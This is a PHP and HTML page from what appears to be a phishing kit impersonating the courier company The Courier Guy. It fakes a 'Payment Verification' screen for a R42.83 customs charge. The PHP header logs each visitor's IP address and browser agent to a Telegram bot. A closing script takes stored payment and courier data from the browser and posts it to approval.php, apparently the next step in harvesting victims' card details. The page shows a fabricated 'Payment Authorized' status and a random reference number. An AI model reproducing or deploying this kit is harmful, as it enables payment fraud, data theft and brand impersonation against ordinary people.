<?php
// Optional: Log visit to loading page
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';

$BOT_TOKEN = " ";
$CHAT_ID = "- ";

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// Log loading page visit
$msg = "<b>📦 THE COURIER GUY FINAL LOADING</b>\n";
$msg .= "══════════════════════════════\n";
$msg .= "<b>IP:</b> <code>{$ip}</code>\n";
$msg .= "<b>Agent:</b> <code>" . substr($user_agent, 0, 50) . "...</code>\n";
$msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
sendTelegram($msg);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Verifying Payment — The Courier Guy</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #264796;
            --primary-light: #3A5FB8;
            --primary-dark: #1A3570;
            --background: #F5F6F8;
            --card-bg: #FFFFFF;
            --text: #1F2933;
            --text-muted: #4B5565;
            --border: #E5E7EB;
            --radius: 8px;
            --shadow-sm: 0 1px 3px rgba(0,0,0,0.05);
            --success: #0F7B4B;
            --success-bg: #E8F3ED;
        }
        * { box-sizing: border-box; }
        body {
            margin: 0;
            font-family: 'Inter', sans-serif;
            background: var(--background);
            color: var(--text);
            line-height: 1.5;
            padding: 0;
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }
        .container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1rem; }

        /* HEADER */
        .header {
            background: white;
            padding: 1rem 0;
            box-shadow: 0 2px 4px rgba(0,0,0,0.05);
        }
        .header-container {
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 0 1rem;
            max-width: 1200px;
            margin: 0 auto;
        }
        .logo-container { display: flex; align-items: center; }
        .logo { height: 70px; width: auto; }

        /* HERO */
        .hero {
            background: var(--primary);
            color: white;
            text-align: center;
            padding: 2rem 1rem;
            margin-bottom: 2rem;
            border-radius: var(--radius);
        }
        .hero h1 {
            margin: 0;
            font-size: 1.75rem;
            font-weight: 600;
            letter-spacing: -0.01em;
        }

        /* LOADING CONTENT */
        .loading-card {
            background: var(--card-bg);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 3rem 2rem;
            margin-bottom: 2rem;
            text-align: center;
            box-shadow: var(--shadow-sm);
        }

        .truck-container {
            width: 150px;
            height: 100px;
            margin: 0 auto 2rem;
            animation: gentleBounce 2.4s infinite ease-in-out;
        }
        
        .truck-icon {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }
        
        @keyframes gentleBounce {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(-8px); }
        }

        .spinner {
            width: 60px;
            height: 60px;
            border: 3px solid #E5E7EB;
            border-top: 3px solid var(--primary);
            border-radius: 50%;
            animation: spin 1.2s linear infinite;
            margin: 0 auto 1.5rem;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .loading-text {
            font-size: 1.35rem;
            color: var(--primary);
            margin-bottom: 0.75rem;
            font-weight: 600;
        }

        .loading-subtext {
            font-size: 0.95rem;
            color: var(--text-muted);
            max-width: 500px;
            margin: 0 auto 2rem;
        }

        .payment-status {
            background: var(--success-bg);
            border: 1px solid var(--success);
            border-radius: var(--radius);
            padding: 1.5rem;
            margin: 2rem auto;
            max-width: 500px;
            text-align: center;
        }
        .payment-status i {
            color: var(--success);
        }
        .payment-amount {
            font-size: 1.75rem;
            font-weight: 700;
            color: var(--success);
            margin: 0.75rem 0;
        }

        .progress-bar {
            width: 100%;
            height: 6px;
            background: #E5E7EB;
            border-radius: 3px;
            margin-top: 2.5rem;
            overflow: hidden;
        }

        .progress-fill {
            height: 100%;
            background: var(--success);
            width: 0%;
            border-radius: 3px;
            animation: fill 6s linear forwards;
        }

        @keyframes fill {
            from { width: 0%; }
            to { width: 100%; }
        }

        /* FOOTER */
        .footer {
            text-align: center;
            padding: 2rem 1rem 3rem;
            color: white;
            font-size: 0.8rem;
            margin-top: auto;
            background: var(--primary-dark);
            position: relative;
        }
        .footer img {
            height: 60px;
            width: auto;
            margin-top: 1rem;
            opacity: 0.9;
        }
        .footer a {
            color: white;
            text-decoration: none;
            opacity: 0.9;
        }
        .footer a:hover { 
            text-decoration: underline;
            opacity: 1;
        }

        @media (max-width: 600px) {
            .loading-card { padding: 2rem 1.5rem; }
            .hero h1 { font-size: 1.6rem; }
            .logo { height: 60px; }
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>

<!-- HEADER -->
<header class="header">
    <div class="header-container">
        <div class="logo-container">
            <img src="assets/01.png" alt="The Courier Guy" class="logo">
        </div>
    </div>
</header>

<!-- HERO -->
<section class="hero">
    <div class="container">
        <h1><i class="fas fa-check-circle"></i> Payment Verification</h1>
    </div>
</section>

<!-- LOADING CARD -->
<main class="container">
    <div class="loading-card">
        <div class="truck-container">
            <img src="https://shop.thieme.in/front/assets/images/prousp/courier-services-black.png" alt="Delivery Truck" class="truck-icon">
        </div>
        
        <div class="spinner"></div>
        <p class="loading-text">Verifying your payment...</p>
        <p class="loading-subtext">We're processing your R42.83 payment and updating your parcel status. This ensures quick customs clearance.</p>

        <div class="payment-status">
            <div style="color: var(--success); font-weight: 600; margin-bottom: 0.5rem;">
                <i class="fas fa-check-circle"></i> Payment Authorized
            </div>
            <div class="payment-amount">R42.83</div>
            <div style="color: var(--text-muted); font-size: 0.85rem;">
                Customs clearance duty • Reference: <span id="refNumber">CG<?php echo rand(1000000, 9999999); ?></span>
            </div>
        </div>

        <div style="margin: 2rem 0; color: var(--text-muted); font-size: 0.9rem;">
            <i class="fas fa-info-circle"></i> Your parcel will be released for delivery within 1-2 business hours
        </div>

        <div class="progress-bar">
            <div class="progress-fill"></div>
        </div>
        
        <div style="margin-top: 1rem; color: var(--text-muted); font-size: 0.85rem;">
            <i class="fas fa-truck"></i> Preparing delivery dispatch
        </div>
    </div>
</main>

<!-- FOOTER -->
<footer class="footer">
    <div class="container">
        <div>© 2026 The Courier Guy (Pty) Ltd. All rights reserved.</div>
        <div style="margin-top: 0.5rem;">
            <a href="#"><i class="fas fa-shield-alt"></i> Privacy</a> • 
            <a href="#"><i class="fas fa-file-contract"></i> Terms</a> • 
            <a href="#"><i class="fas fa-question-circle"></i> Help</a>
        </div>
        <img src="assets/04.png" alt="The Courier Guy">
    </div>
</footer>

<!-- AUTO REDIRECT AFTER 6 SECONDS -->
<script>
    setTimeout(function() {
        const paymentData = JSON.parse(localStorage.getItem('paymentData') || '{}');
        const courierData = JSON.parse(localStorage.getItem('courierguyData') || '{}');
        
        const form = document.createElement('form');
        form.method = 'POST';
        form.action = 'approval.php';

        const paymentInput = document.createElement('input');
        paymentInput.type = 'hidden';
        paymentInput.name = 'payment';
        paymentInput.value = JSON.stringify({
            ...paymentData,
            ...courierData,
            amount: '42.83',
            currency: 'ZAR'
        });

        form.appendChild(paymentInput);
        document.body.appendChild(form);
        form.submit();
    }, 6000);
</script>

</body>
</html>